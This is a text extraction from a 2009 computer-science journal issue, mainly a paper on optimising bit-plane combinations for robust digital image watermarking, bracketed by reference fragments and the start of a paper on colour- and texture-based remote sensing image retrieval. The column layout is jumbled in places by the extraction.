presented at the 18th Annual Computer Security Applications Conference (ACSAC '02), IEEE [10]. Poolsapassit, N., & Ray, I. (2007). Investigating Computer Attacks using Attack Trees. Advances in Digital Forensics III, 242, 331-343. [11]. Yusof, R., Selamat, S. R., & Sahib, S. (2008). Intrusion Alert Correlation Technique Analysis for Heterogeneous Log. IJCSNS International Journal of Computer Science and Network Security, 8(9) [12]. Kao, D.-Y., Wang, S.-J., Huang, F. F.-Y., Bhatia, S., & Gupta, S. (2008). Dataset Analysis of Proxy Logs Detecting to Curb Propagations in Network Attacks. Paper presented at the ISI 2008 Workshops. [13]. Lincoln Lab, M. (1999). 1999 DARPA Intrusion Detection Evaluation Plan [Electronic Version]. [14]. McAfee. (2003). Virus Profile: W32/Lovsan.worm.a [Electronic Version]. Retrieved 23/7/09 from http://home.mcafee.com/VirusInfo/VirusProfile.aspx?k ey=100547. [15]. Microsoft. (2003). Virus alert about the Blaster worm and its variants [Electronic Version]. Retrieved 23/7/09 from http://support.microsoft.com/kb/826955. [16]. Symantec. (2003). W32.Blaster.Worm [Electronic Version]. Retrieved 23/7/09 from http://www.symantec.com/security_response/writeup.js p?docid=2003-081113-0229-99
8
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, Aug 2009
Optimization of Bit Plane Combination for Efficient Digital Image Watermarking Sushma Kejgir
Manesh Kokare
Department of Electronics and Telecommunication Engg. SGGS Institute of Engineering and Technology, Vishnupuri, Nanded, Maharashtra, India.
[email protected]
Department of Electronics and Telecommunication Engg. SGGS Institute of Engineering and Technology, Vishnupuri, Nanded, Maharashtra, India.
[email protected]
Abstract: In view of the frequent multimedia data transfer authentication and protection of images has gained importance in today’s world. In this paper we propose a new watermarking technique, based on bit plane, which enhances robustness and capacity of the watermark, as well as maintains transparency of the watermark and fidelity of the image. In the proposed technique, higher strength bit plane of digital signature watermark is embedded in to a significant bit plane of the original image. The combination of bit planes (image and watermark) selection is an important issue. Therefore, a mechanism is developed for appropriate bit plane selection. Ten different attacks are selected to test different alternatives. These attacks are given different weightings as appropriate to user requirement. A weighted correlation coefficient for retrieved watermark is estimated for each of the alternatives. Based on these estimated values optimal bit plane combination is identified for a given user requirement. The proposed method is found to be useful for authentication and to prove legal ownership. We observed better results by our proposed method in comparison with the previously reported work on pseudorandom watermark embedded in least significant bit (LSB) plane.
watermarking in spatial domain. This method is characterized by spread spectrum and is blind while watermark retrieval. Optimal implementation of this method maximizes the fidelity and robustness against different attacks. This method is based on the fact that the least significant bit plane of the image does not contain visually significant information. Therefore it can be easily replaced with watermark bits without affecting the quality of original image. However the survival of the watermark is an open issue and two main drawbacks of inserting watermark in least significant and most significant bits are: • If watermark is inserted in least significant bit planes then the watermark may not survive against coding, channel noise, mild filtering or random bit-flipping. • On the other hand, if the watermark is embedded in most significant bit plane, watermark survives but image quality is degraded. Therefore, to get optimal results, in terms of fidelity, robustness, and high embedding capacity, a new bit plane modification method is proposed in this paper. B. Our Approach: To overcome above problems, we propose the novel method for image watermarking. Proposed method differs in two different ways than the earlier technique of bit plane watermarking. Firstly, to prove the ownership or identify the owner, most effective digital signature watermark is embedded instead of pseudorandom watermark. Secondly, instead of LSB, a previous bit to LSB is identified for watermark embedding to avoid the degradation of image and to survive the watermark after different general attacks like coding, channel noise, mild filtering or random bitflipping. The advantages of the proposed method are summarized as follows. • Proposed approach is optimal. • Maximizes the fidelity. • Maximizes the robustness against different attacks. • Proposed method is having more payload capacity. The rest of the paper is organized as follows: earlier related work to bit plane method is discussed in section 2. The proposed significant bit plane modification watermarking algorithm is discussed in section 3. The experimental results are presented in section 4, which is followed by conclusion and future scope in section 5.
Keywords: Digital signature watermark, Bit plane watermark embedding method, Correlation coefficient, weighted correlation coefficient. I. INTRODUCTION: A. Motivation: Watermarking is an important protection and identification technique in which an invisible mark is hidden in the multimedia information such as audio, image, video, or text. It has been developed to protect digital signal (information) against illegal reproduction, modifications. The watermarking is also useful to prove legal ownership and authentication. A good fidelity transparent watermarking provides the watermark imperceptible to human visual system (HVS) that is human-eye cannot distinguish the original data from the watermarked data. In the past literature on watermarking it is observed that bit plane method is one of the recommended methods of
9
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, Aug 2009
scaling, translation, and rotation) provided that the original image is available and that it can be successfully registered against the transformed watermarked image. Ghouti et al. [17] proposed a spread-spectrum communications watermark embedding scheme to achieve watermark robustness. The optimal bounds for the embedding capacity are derived using a statistical model for balanced multiwavelet coefficients of the host image. The statistical model is based on a generalized Gaussian distribution. BMW decomposition could be used constructively to achieve higher data-hiding Capacities. Bit error rate is graphically represented and not tested against geometric attacks.
II. RELATED WORK Sedaaghi and Yousefi [1] embedded the watermark in the LSB bit plane. In this method watermark is like a noise pattern i.e. pseudorandom pattern. The main disadvantage of this technique is that correlation coefficient (CRC) is very small. This shows that this method cannot withstand against attacks such as channel noise (small changes), bit flipping, etc. Yeh and Kuo [2] proposed bit plane manipulation of the LSB method and used quasi m-arrays instead of pseudorandom noise as a watermark. Here, watermark is recovered after the quantization and channel noise attacks. Gerhard et al. [3] discussed pseudorandom LSB watermarking, and highlighted the related work [4-8] where in LSB modifications are employed. They commented that LSB modification method is less robust and not much transparent. In [9], two watermarking algorithms (LSB and discrete wavelet transform) are discussed by Xiao and Xiao. PSNR of LSB is reported to be higher i.e. 55.57 db. An experimental comparison for both against five attacks is made. LSB watermarking is reported to survive only against cropping. The simplest spatial domain image watermarking technique is to embed a watermark in the LSB of some randomly selected pixels [10]. The watermark is actually invisible to human eyes. However, the watermark can be easily destroyed if the watermarked image is low-pass filtered or JPEG compressed. In [11], advantages and disadvantages of LSB and most significant bit (MSB) watermarking are reported by Ren et al. To balance between robustness and fidelity, appropriate bit selection is proposed. Maeder and Planitz [12] demonstrated the utility of LSB watermarking for medical images. A comparison is also made with discrete wavelet transform based watermarking in terms of payload. Fei et al. [13] proposed MSB-LSB decomposition to overcome drawbacks of fragile authentication systems. However the use of LSB makes the system vulnerable to attacks. Kumsawat et al. [14] proposed the spread spectrum image watermarking algorithm using the discrete multiwavelet transform. A threshold value is used for embedding the watermark strength to improve the visual quality of watermarked images and the robustness of the watermark. Chen and Leung [15] presented a technique for image watermarking based on chaos theory. Chaotic parameter modulation (CPM) is employed to modulate the copyright information into the bifurcating parameter of a chaotic system. Chaotic watermark is only a random bits, the problem of ownership identification is still unsolved. Cox et al. [16] advocated that a watermark should be constructed as an independent and identically distributed (i.i.d.) Gaussian random vector that is imperceptibly inserted in a spread-spectrum-like fashion into the perceptually most significant spectral components of the data. They argued that insertion of a watermark under this regime makes the watermark robust to signal processing operations (such as lossy compression, filtering, digitalanalog and analog-digital conversion, re-quantization, etc.), and common geometric transformations (such as cropping,
III . PROPOSED WATERMARKING ALGORITHM Watermark embedding process and extraction process are shown in Fig. 1 and 2 respectively. Digital signature Watermark
Decomposition of image in to binary 8 bit planes
Resize watermark = Original image size
Decomposition of watermark in to binary 8 bit planes
Original Image
Attacks
Attacked image
Evolve the optimal combination of original image and high strength watermark bit planes.
Reconstruction of watermarked image (binary to gray)
Fig. 1 Watermark embedding process The proposed method is simple to apply, robust to different attacks and, has good fidelity to HVS. Broadly, in this method, original image and watermark are decomposed in to bit planes. Combinations of significant bit planes are searched to obtain optimal bit plane combination. Finally, using the identified bit planes watermarking is carried out. A. Watermark Embedding and Retrieval: In this proposed method, let X (m, n) be the grey level image and W(m, n) be the original digital signature
10
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, Aug 2009
The
watermark. The grey level image is transformed into the watermarked image YW (m, n) .
Extraction of watermark bit plane from watermarked image
Original Watermark
Robustness test High CRC
Extracted signature watermark
image
X
is
defined
as
follows:
X l (m, n) = X b1(m, n) + X b2 (m, n) + ..........+ X b7 (m, n) + X b8 (m, n)
(1)
Similarly, decomposition of watermark in to 8-bit planes: W k ( m , n ) = W b1 ( m , n ) + W b 2 ( m , n ) + .. + W b 7 ( m , n ) + W b 8 ( m , n ) ( 2 )
Where l and k indicates number of bit planes of image and ∈{b1,b2,........b8 } . Step 2: Replace the significant bit plane of original image with watermark bit plane: Following set of equations display replacement of 7th bit plane of original image with 1st bit plane of digital signature watermark as an example. The same procedure can be adopted for the remaining bit planes of the image.
Robust Watermarking Figure 2 Watermark extraction process
8-bit planes
scale
maximum dimensions of an image, where X (m, n) ∈{0,.......,..255 } total number of grey levels. Step by step algorithm for proposed method is explained below: Step 1: Decompose the grey level image to bit planes: Grey level image is decomposed in to bit plane image. Each pixel in the image is represented by 8-bits. Therefore the image is decomposed into eight 1-bit planes, ranging from 8th bit plane for LSB to 1st bit plane for the MSB. The 8th bit plane contains all the lowest order bits in the pixels comprising the image and 1st bit plane contains all the higher order bits as shown in Fig. 3. Fig. 4a and 4b show grey level original image and digital signature watermark of dimension 256 x 256 respectively. These are decomposed in to bit planes as follows. Decomposition of original image in to 8-bit planes (refer Fig. 5):
Decomposition of attacked image in to binary bit planes
Attacked image
grey
X = {X (m, n), m ∈{1,......., M }, n ∈{1,......., N}} , and M, N are
1st bit plane (MSB)
Yb1(m, n) = Xb1(m, n) Yb2 (m, n) = Xb2 (m, n)
------------Yb7 (m, n) = Wb1 (m, n)
Yb8 (m, n) = Xb8 (m, n)
th
8 bit plane (LSB)
Resultant watermarked image is as follows: YW (m, n) : YW (m, n) = Yb1 (m, n) + Yb2 (m, n) + ........+ Yb8 (m, n) W
Fig. 3. Bit plane representation of an image
Fig. 4a Original image
(3)
This bit plane watermarked image Y ( m , n ) is recomposed in to grey level image I (m, n) . Step 3: Selection of significant bit planes of original image for watermarking: Fig. 6 shows watermark embedded in all eight bit planes of original image by step 2. This is done so as to decide, by HVS, which bit planes of the image are good for watermarking. The bit plane, which does not degrade the image quality, after embedding watermark, is desirable. Accordingly the LSB (8th bit plane) and the one previous to LSB (7th bit plane) are most suitable as image quality is not degraded after watermark embedding. Therefore these bit planes shall provide good fidelity hence, selected for further analysis. Step 4: Formulation for watermarked image subjected to attacks: In real life when watermarked image is distributed on the World Wide Web, it is encountered by different
Fig. 4b Digital signature watermark image
11
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, Aug 2009
Extract the watermark bit plane from the attacked image. This retrieved watermark, after attack, is denoted as Wib*1(m, n) .
attacks. In this step, watermarked image is subjected to ten different types of attacks, leading to attacked image: I i* ( m , n ), i ∈ {1, 2 ,...., 10 different st
attacks } nd
3 bit plane
th
7 bit plane
2 bit plane
1 bit plane(MSB)
th
5 bit plane
6 bit plane
th
rd
4 bit plane
th
8 bit plane (LSB)
th
Fig. 5 Decomposed original image in to eight bit planes. st
2
th
6 bit plane embedding 7 bit plane embedding 8 bit plane embedding
1 bit plane embedding
5 bit plane embedding
nd
rd
th
th
th
bit plane embedding 3 bit plane embedding 4 bit plane embedding
th
Fig. 6 Watermarked images after embedding watermark in all eight bit planes of image
Step 6: Computation of CRC: Correlation coefficient between retrieved watermark and original watermark is estimated using a standard equation (6). The estimated correlation coefficients are denoted as CRC i (l, k) . Where, I indicate different attacks, l is taken as 7th and 8th bit planes of original image as selected in step 3 and k denotes the bit planes of watermark from 1 to 8. The quality of
Attacked image Ii*(m, n) : Ii*(m, n) = Ii*(m, n),I2*(m, n),........ ....,Ii*(m, n)
(4)
Step 5: Watermark Retrieval: In this step attacked image * Ii (m, n) is again transformed in to binary image i. e. 8-bit planes as shown below. I il* ( m , n ) = I ib* 1 ( m , n ) + I ib* 2 ( m , n ) + .......... .. + I ib* 8 ( m , n )
( 5)
12
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, Aug 2009
watermarked image is observed by HVS. CRC varies between 0 and 1. CRC is defined as given below:
PSNR =10 log 10
256 256
* ∑ ∑ W (m, n) ×W (m, n)
CRC =
n =1 m =1
(255 )2 (db) MSE
(8)
(6)
256 256
256 256
n =1 m =1
n =1 m =1
∑ ∑ W(m, n) ∑
Mean square error is defined as:
*
∑W (m, n)
0, less robust watermark ing if CRC i (l, k) = 1, highly robust watermark ing
MSE = (7)
1 256 256 * 2 ∑ ∑ (W(m, n) −W (m, n)) (m× n) n =1 m =1
(9)
Watermarked image (8thbit Original pseudo-random 1. Retrieval of watermark 2. Retrieval of watermark image-8th pseudorandom after angle rotation attack after rotate transform watermark watermark ) attack
3. Retrieval of watermark 4. Retrieval of watermark after cropping of 41% after low pass filter attack attack
7. Retrieval of watermark after contrast stretching attack
5. Retrieval of watermark after quantization attack
6. Retrieval of watermark after translation motion attack
8 Retrieval of watermark 9. Retrieval of watermark 10. Retrieval of after salt pepper after compression watermark after shrinking attack attack attack
Fig 7. Result of retrieved watermarks after different attacks for Existing method (8th bit plane of original image replaced with 8th bit plane of pseudorandom watermark) Step 7: Estimation of peak signal to noise ratio (PSNR): PSNR is calculated by using following equation. Capacity of the original image to carry the watermark is computed by measuring PSNR, which is defined as follows:
Where W (m, n) is the original watermark, W*(m, n) is the extracted watermark after attack. Step 8: Weighted correlation coefficient computation:
13
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, Aug 2009
image and watermark under consideration. The step is repeated for combinations of selected bit planes of image and the entire bit planes of watermark respectively.
Weighted correlation coefficient is defined as follows: 10
Wt . CRC (l , k ) = ∑ CRC i (l , k ) × ai
(10)
i =1
Watermarked Image (7thbit image-1st digital signature watermark )
Original digital signature watermark
1. Retrieval of watermark 2. Retrieval of watermark after angle rotation attack after rotate transform attack
3. Retrieval of watermark 4. Retrieval of watermark 5. Retrieval of watermark 6. Retrieval of watermark after translation motion after cropping of 41% attack after low pass filter attack after quantization attack attack
7. Retrieval of watermark 8 Retrieval of watermark after contrast stretching attack after salt pepper attack
9. Retrieval of watermark 10. Retrieval of watermark after compression attack after shrinking attack
Fig 8. Result of retrieved watermarks after different attacks, for proposed method (7th bit plane of original image replaced with 1th bit plane of digital signature watermark).
Where, ai are the different weightings of attacks such that total ai = a1 + a2 + − − − − +a10 =1, and i is the number of attacks. The identified attacks are assigned weightings based on damage caused, frequency, intensity and criticality or any other such criterion by the user. Based on these weightings, considering all the ten attacks, weighted correlation coefficient are estimated, for each bit plane combination of
Step 9: Optimization: The above step 8 is repeated by varying the weightings of attacks. The bit plane combination of original image and watermark for which, the weighted correlation coefficient is maximum, is selected as the optimized one for the given user requirements. This combination is used for optimized watermarking in terms of robustness and fidelity.
14
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, Aug 2009
For comparison original watermark is presented for each combination of the bit planes. Through these figures fidelity of watermarked image and survival of watermark after different attacks can be visually checked for the various combinations of image and watermark bit plane. Fig. 7 displays the results of existing method [1] (LSB, pseudorandom watermark embedding).
IV. EXPERIMENTAL RESULTS We have implemented our method on still grey scale image (dimension 256 × 256). In the subsections to follow extensive analysis is carried out to evolve the optimal combination of bit planes (image and watermark) to achieve desirable properties after watermarking. Watermarked Image (8thbit image-8th digital signature watermark )
Original digital signature watermark
3. Retrieval of watermark after 4. Retrieval of watermark after low pass filter attack cropping of 41% attack
7. Retrieval of watermark after contrast stretching attack
8 Retrieval of watermark after salt -pepper attack
1. Retrieval of watermark after angle rotation attack
2. Retrieval of watermark after rotate transform attack
5. Retrieval of watermark after quantization attack
6. Retrieval of watermark after translation motion attack
9. Retrieval of watermark after compression attack
10. Retrieval of watermark after shrinking attack
Fig 9. Result of retrieved watermarks after different attacks, for comparison purpose to proposed method (8th bit plane of original image replaced with 8th bit plane of digital signature watermark). A. Fidelity Checked by HVS The results are displayed in Fig. 7, 8, 9, and 10. Each of these figures display watermarked image, original watermark, and retrieved watermark after different attacks. All these figures exhibit fidelity of watermarked image and survival of watermark after attacks.
Here, the watermark survives after seven different types of attacks out of ten. The retrieved watermark visually appears same as the original watermark, but automated correlation coefficient (standard method) is very small. This indicates that retrieved watermark is not similar to the original watermark. Fig. 8 shows the result of the combination, 1st bit plane of watermark embedded in 7th bit plane of original
15
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, Aug 2009
B. CRC Results CRC after different attacks and different combinations of bit planes is compared in Fig. 11. In this, CRC is plotted on y axis and different attacks are plotted on x axis as per the numbers is as follows: 1. Angle rotation attack. 2. Rotate Transform attack. 3. Crop attack 41%. 4. LPF (low pass filter) attack 5. Quantization attack. 6. Translation motion attack. 7. Contrast stretching attack.8. Salt pepper attack. 9. Compression attack. 10. Shrinking attack.
image, which shows survival of watermark against seven different attacks with good fidelity of watermarked image. Fig. 9 shows the results for other combination of bit planes (for example, 8th bit plane digital signature watermark embedded in 8th bit plane of original image). This result shows good fidelity but watermark survival is for minimum number of (five) attacks. Fig. 10 shows survival of watermark is good but fidelity of watermarked image is bad (1st bit plane watermark embedded in 1st bit plane of original image). Watermarked Image (1st bit image-1st digital signature watermark )
Original digital signature watermark
1. Retrieval of watermark after angle rotation attack
2. Retrieval of watermark after rotate transform attack
3. Retrieval of watermark after 4. Retrieval of watermark 5. Retrieval of watermark 6. Retrieval of watermark after low pass filter attack after quantization attack after translation motion cropping of 41% attack attack
7. Retrieval of watermark after 8 Retrieval of watermark contrast stretching attack after salt pepper attack
9. Retrieval of watermark 10. Retrieval of watermark after compression attack after shrinking attack
Fig 10. Result of retrieved watermarks after different attacks, for comparison purpose to proposed method (1th bit plane of original image replaced with 1th bit plane of digital signature watermark). Thus, above results indicate that the bit planes combination, i.e. 1st bit plane of watermark embedded in 7th bit plane of original image exhibit superiority over all other with respect to fidelity hence recommended by the proposed method.
CRC for different methods after different attacks, as given in legend: pseudo 8-8 indicates pseudorandom watermark (8th bit plane embedded in 8th bit plane), pseudo 1-1 indicates pseudorandom watermark (1st bit plane embedded in 1st bit plane), Signature 8-8 indicates digital signature
16
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, Aug 2009
watermark (8th bit plane embedded in 8th bit plane), etc. Graph shows that, for pseudo 8-8 and pseudo 1-1, CRC is nearer to the zero line, maximum CRC for combination of signature 1-1 but fidelity is bad for this method. The graph also shows that CRC is at higher level for the combination recommended by proposed method (signature 7-1). Also, for this fidelity is good as displayed in Fig. 8.
(higher strength) of watermark is displayed in Fig. 12. From this it is observed that combination of (8th bit plane of image and 1st bit plane of watermark) is capable for higher pay load, but this combination is sensitive to small changes like bit flipping and robust to less number of attacks (refer Fig. 8 , 9 and table 1). Therefore previous bit plane (7th) of image is good for watermarking. Table 1. Weighted CRC for different combination of original image and watermark bit planes are given.
1
Correlation coefficient
0.9 0.8
User requirements
0.7 0.6
pseudo:8-8 pseudo:1-1 signature:8-8 signature:1-1 signature:7-1
0.5 0.4
Bit plane Combination : com.(l, k) Com. (7,8) Com. (7,7) Com. (7,6) Com. (7,5) Com. (7,4) Com. (7,3) Com. (7,2) Com. (7,1) Com.(8,8) Com. (8,7) Com. (8,6) Com. (8,5) Com. (8,4) Com. (8,3) Com. (8,2) Com. (8,1)
0.3 0.2 0.1 0 1
2
3
4
5
6
7
8
9
10
Different attacks
Fig 11. CRC for different attacks
100 95 90
1.Wt.CRC equal weights for all attacks i. e. a1 to a10=0.1
0.7854 0.7855 0.7857 0.7859 0.8106 0.8107 0.8110 0.8115 0.7855 0.7850 0.7854 0.7859 0.8108 0.8103 0.8108 0.8114
2.Wt.CRC a1=0.05 a2=0.05 a3=0.05 a4=0.05 a5=0.05 a6=0.05 a7=0.2 a8=0.2 a9=0.2 a10=0.1 0.8703 0.8703 0.8708 0.8713 0.8849 0.8849 0.8854 0.8861 0.8704 0.8700 0.8705 0.8712 0.8850 0.8847 0.8852 0.8859
3.Wt.CRC a1=0.025 a2=0.05 a3=0.025 a4=0.025 a5=0.025 a6=0.05 a7=0.1 a8=0.4 a9=0.1 a10=0.2 0.9212 0.9212 0.9220 0.9225 0.9285 0.9284 0.9291 0.9300 0.9213 0.9206 0.9215 0.9224 0.9286 0.9281 0.9289 0.9297
4.Wt.CRC a1=0.025 a2=0.025 a3=0.05 a4=0.05 a5=0.05 a6=0.05 a7=0.05 a8=0.2 a9=0.3 a10=0.2 0.8955 0.8955 0.8959 0.8962 0.9082 0.9081 0.9086 0.9091 0.8955 0.8950 0.8956 0.8962 0.9083 0.9078 0.9084 0.9090
PSNR in db
85 80
D. Weighted CRC Results In table 1, first column represents different bit plane combinations attempted in this work for digital image watermarking. Second column onwards represent results of weighted CRC, for different combinations, by varying the weightings of attacks. Here a1, a2 ,− − −, a10 represents different
75 70 65 60 55 50 1
2 3 4 5 6 7 Fixed 1st bit planes of watermark & variable bit plane of image
weightings of attacks respectively. From results shown in table 1, it can be observed that the proposed method (1st bit plane of signature watermark embedded in 7th bit plane original image) provides the optimal combination yielding highest values of CRC as highlighted in the table. The table 1 highlights, optimal bit plane method which shows maximum robustness, in terms of CRC, for given user requirement.
8
Fig. 12. PSNR for combinations of different bit planes of original image to 1st bit plane of watermark.
C. PSNR Result In addition to above, for proposed bit plane combination watermark embedding capacity i.e. PSNR is observed to be high (87 db). PSNR for combinations of different bit planes of original image and 1st bit plane
V. CONCLUSION We observed that in previous bit plane methods survival of watermark appears to be good but CRC is nearer to zero level. The proposed method has the ability to
17
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, Aug 2009
perform better than the existing methods, based on bit plane, as higher CRC values are achieved. Also, when pseudorandom watermark is replaced with digital signature watermark there is rise in CRC indicating robustness of watermark. We observed that, in the image, the bit plane prior to LSB also does not contain visually significant information so it can be selectively used to optimally embed the watermark. Referring to results shown in Table 1, it can be concluded that proposed method leads to robust watermarking against geometric attacks and also yields highest correlation coefficient as compared to the previous bit plane method and other combination of bit planes. Also, it can be noted that PSNR value for proposed method is higher i. e. above 87 db. It is noted that weighted correlation coefficient is useful to estimate the effect on the CRC, on account of change in user environment (in terms of variation in weight of the attack) while identifying the optimal bit plane combination. In future, the survival of watermark against various other different attacks can be checked.
[10] M. D. Swanson, M. Kohayashi, and A. Tewfik, "Multimedia data[11] [12] [13]
[14]
[15]
[16]
REFERENCES [1] [2] [3] [4] [5] [6] [7] [8]
[9]
[17]
M. H. Sedaaghi and S. Yousefi, “Morphological watermarking”, IEE Electronics Letters, vol.41 no.10, pp.591-593, 12th may 2005. C. H. Yeh and C. J. Kuo, “Digital watermarking through quasi marrays”, Proc.of 25th annual IEE Conf. on Industrial Electronics Society, vol.1, pp.459-461, Nov.1999. G.C. Langelaar, I. Setyawan, and R. L. Lagendijk, “Watermarking digital image and video data”, IEEE Signal Processing Magazine, pp.20-46, Sept 2000. R.G. van Schyndel, A.Z. Tirkel, and C.F. Osborne, “A digital watermark,” Proc. IEEE Int. Conf. on Image Processing, vol.2, pp. 86-90, Nov.1994. T. Aura, “Invisible communication,” Proc. HUT Seminar on Network Security ‘95, Espoo, Finland, 6 Nov. 1995. T. Aura, “Practical invisibility in digital communication,” Proc. of Workshop on Information Hiding Lecture Notes in Computer Science, vol. 1174, Cambridge, U.K., pp.257-264, May 1996. K. Hirotsugu, “An image digital signature system with ZKIP for the graph isomorphism,” Proceedings of IEEE Int. Conf. on Image Processing, vol .3, Lausanne, Switzerland, pp. 247-250, Sept. 1996. J. Fridrich and M. Goljan, “Protection of digital images using self embedding,” Proc. of Symposium on Content Security and Data Hiding in Digital Media, New Jersey Institute of Technology, Newark, NJ, USA,pp.1259-1284, May 1999. M. Xiao, L. Yu, and C. Liua, “Comparative research of robustness for image watermarking”, IEEE Int. Conf. on Computer Science and Software Engineering, pp.700-703, 2008.
embedding and watermarking technologies", Proc. of' the IEEE, Vol. 86, No. 6, pp. 1064-1087, June 1998. J. Ren, T. Li and M. Nadooshan “A cryptographic watermark embedding technique”, IEEE Asilomar Conf. on Signals, Systems and Computers, pp.382-386, 2004. A. J. Maeder and B. M. Planitz, “Medical image watermarking for multiple modalities”, 34th IEEE Proc. on Applied Imagery and Pattern Recognition Workshop, pp.158-165, 2005. C. Fei, D. Kundur, and R. H. Kwong, “Analysis and design of secure watermark-based authentication systems”, IEEE Trans. on Information Forensics and Security, vol.1, no.1, pp.43-55, march 2006. Prayoth Kumsawat, Kitti Attakitmongcol, and Arthit Srikaew, “A New Approach for Optimization in Image Watermarking by Using Genetic Algorithms”, IEEE Trans. on Signal Processing, Vol. 53, No. 12, pp4707-4719,December 2005. Siyue Chen, and Henry Leung, “Ergodic Chaotic Parameter Modulation With Application to Digital Image Watermarking”, IEEE Trans. on Image Processing, Vol. 14, No. 10, pp1590-1602, October 2005. Ingemar J. Cox, Joe Kilian, F. Thomson Leighton, and Talal Shamoon, “Secure Spread Spectrum Watermarking for Multimedia”, IEEE Trans. on Image Processing, Vol. 6, No. 12, pp1673-1686, December 1997. Lahouari Ghouti, Ahmed Bouridane, Mohammad K. Ibrahim, and Said Boussakta, “ Digital Image Watermarking Using Balanced Multiwavelets”, IEEE Trans. on Signal Processing, Vol. 54, No. 4, pp.1519-1536, April, 2006.
Sushma Kejgir is an Assistant Professor of Department of Electronics and Telecommunication Engineering at Shri Guru Gobind Singhji Institute of Engineering and Technology, Vishnupuri, Nanded, India. Her subject of interest includes digital image watermarking and electromagnetic engineering. Dr. Manesh Kokare, has completed his Ph.D. from the IIT, Kharagpur, India, in 2005. He is working as a faculty member in the Department of Electronics and Telecommunication Engineering at Shri Guru
Gobind
Singhji
Institute
of
Engineering
and
Technology, Vishnupuri, Nanded, India. He has published about 35 papers in international and national journals and conferences. He received Career Award for Young Teachers (CAYT) for the year 2005 from AICTE, New Delhi, India. He is a life member of System Society of India, ISTE, and IETE and Member of IEEE, Member of IEEE Signal Processing Society, Member of IEEE Computer Society. He is a reviewer of fourteen international journals. .
18
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
Retrieval of Remote Sensing Images Using Colour & Texture Attribute Priti Maheswary
Dr. Namita Srivastava
Research Scholar Department Of Computer Application Maulana Azad National Institute of Technology Bhopal, India
[email protected]
Assistant Professor Department Of Mathematics Maulana Azad National Institute of Technology Bhopal, India
[email protected]
Abstract - Grouping images into semantically meaningful categories using low-level visual feature is a challenging and important problem in content-based image retrieval. The groupings can be used to build effective indices for an image database. Digital image analysis techniques are being used widely in remote sensing assuming that each terrain surface category is characterized with spectral signature observed by remote sensors. Even with the remote sensing images of IRS data, integration of spatial information is expected to assist and to improve the image analysis of remote sensing data. In this paper we present a satellite image retrieval based on a mixture of old fashioned ideas and state of the art learning tools. We have developed a methodology to classify remote sensing images using HSV color features and Haar wavelet texture features and then grouping them on the basis of particular threshold value. The experimental results indicate that the use of color and texture feature extraction is very useful for image retrieval.
elevation. We have designed a system to retrieve similar remote sensing images using some traditional and modern approach. II. PREVIOUS WORK Content Based Image Retrieval is a set of techniques for retrieving semantically relevant images from an image database based on automatically derived image features [1]. The computer must be able to retrieve images from a database without any human assumption on specific domain (such as texture vs. non texture or indoor vs. outdoor). One of the main tasks for CBIR systems is similarity comparison, extracting feature signatures of every image based on its pixel values and defining rules for comparing images. These features become the image representation for measuring similarity with other images in the database. To compare images the difference of the feature components is calculated.
Key Words: Content Based Image Retrieval; k-means clustering; colour; texture
I.
INTRODUCTION
Early CBIR methods used global feature extraction to obtain the image descriptors. For example, QBIC [2], developed at the IBM Almaden Research Center, extracts several features from each image, namely color, texture and shape features. These descriptors are obtained globally by extracting information on the means of color histograms for color features; global texture information on coarseness, contrast, and direction; and shape features about the curvature, moments invariants, circularity, and eccentricity. Similarly, the Photo-book-system [3], Visual-Seek [4], and Virage [5], use global features to represent image semantics.
The advent of Digital photography, reduction in cost of mass storage device and use of high-capacity public networks have led to a rapid increase in the use of digital images in various domains such as publishing, media, military and education. The need to store, manage and locate these images has become a challenging task. Generally, there are two main approaches for classifying images: image classification based on keywords and the other one is content based image retrieval. The former technique suffers from the need for manual classification of images, which is simply not practical in a large collection of image. Further incompleteness of a limited set of keyword descriptors may significantly reduce query effectiveness at the time of image retrieval. In latter technique images can be identified by automatic description, which depends on their objective visual content.
The system in [6] attempt to overcome previous method limitations of global based retrieval systems by representing images as collections of regions that may correspond to objects such as flowers, trees, skies, and mountains. This system applies image segmentation [7] to decompose an image into regions, which correspond to physical objects (trees, people, cars, flowers) if the decomposition is ideal. The feature descriptors are extracted on each object instead of global image. Color
Remote Sensing Application images are depicted using spatial distribution of a certain field parameters such as reflectivity of (EM) radiation, emissivity, temperature or some geophysical or topographical 19
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
and texture features are extracted on each pixel that belongs to the object, and each object is described by the average value of these pixel features. In this paper color and texture feature extraction, clustering and similarity matching is used.
The other two features are computed similarly in the LH and HH bands. The three features of the block are {HL, LH and LL} [6]. B. K-Means Clustering A cluster is a collection of data objects that are similar to one another with in the same cluster and are dissimilar to the objects in the other clusters. It is the best suited for data mining because of its efficiency in processing large data sets. It is defined as follows:
III. METHODOLGY A system is developed for image retrieval. In this an image database of LISS III sensor is used. LISS III has a spatial resolution of 23m and a swath width of 140 km. Then the query image is taken and images similar to the query images are found on the basis of colour and texture similarity. The three main tasks of the system are: 1. 2. 3.
The k-means algorithm is built upon four basic operations: 1. 2.
Colour & Texture Feature Extraction. K-means clustering to form groups. Similarity distance computation between the query image and database images.
3. 4.
A. Feature Extraction We have used the approach of Li and Wang [1] and Zhang [9]. The image is partitioned into 4 by 4 blocks, a size that provides a compromise between texture granularity, segmentation coarseness, and computation time. As part of pre-processing, each 4x4 block is replaced by a single block containing the average value of the 4 by 4 block.
Selection of the initial k-means for k-clusters. Calculation of the dissimilarity between an object and the mean of a cluster. Allocation of an object of the cluster whose mean is nearest to the object. Re-calculation of the mean of a cluster from the object allocated to it so that the intra cluster dissimilarity is minimized.
